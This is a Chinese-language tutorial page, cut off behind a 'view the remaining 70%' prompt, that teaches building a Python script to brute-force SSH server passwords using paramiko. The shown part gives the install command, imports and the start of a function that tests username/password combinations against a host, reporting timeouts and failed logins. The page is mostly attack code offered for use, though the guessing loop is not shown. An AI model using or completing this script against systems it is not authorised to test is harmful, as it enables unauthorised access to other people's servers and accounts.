如何在Python中暴力破解SSH服务器密码

暴力攻击是一种活动,涉及反复尝试尝试许多密码组合以闯入需要身份验证的系统。在本教程中,您将学习如何在Python中制作用于SSH连接的暴力脚本。

如何在<a href='/tag/python.html'>Python</a>中暴力破解SSH服务器密码

我们将使用paramiko库,该库为我们提供了一个简单的SSH客户端界面,让我们安装它:

pip3 install paramiko colorama

我们使用colorama只是为了获得良好的可视效果,除此之外没有其他。

打开一个新的Python文件并导入所需的模块

import paramiko
import socket
import time
from colorama import init, Fore


定义一些我们将要使用的颜色:

# initialize colorama
init()

GREEN = Fore.GREEN
RED = Fore.RED
RESET = Fore.RESET
BLUE = Fore.BLUE


现在让我们构建一个给定主机名,用户名和密码的函数,它告诉我们组合是否正确:

def is_ssh_open(hostname, username, password):
    # initialize SSH client
    client = paramiko.SSHClient()
    # add to know hosts
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        client.connect(hostname=hostname, username=username, password=password, timeout=3)
    except socket.timeout:
        # this is when host is unreachable
        print(f"{RED}[!] Host: {hostname} is unreachable, timed out.{RESET}")
        return False
    except paramiko.AuthenticationException:
        print(f"[!] Invalid credentials for {username}:{password}")
        return False
   ...

点击查看剩余70%

{{collectdata}}

网友评论0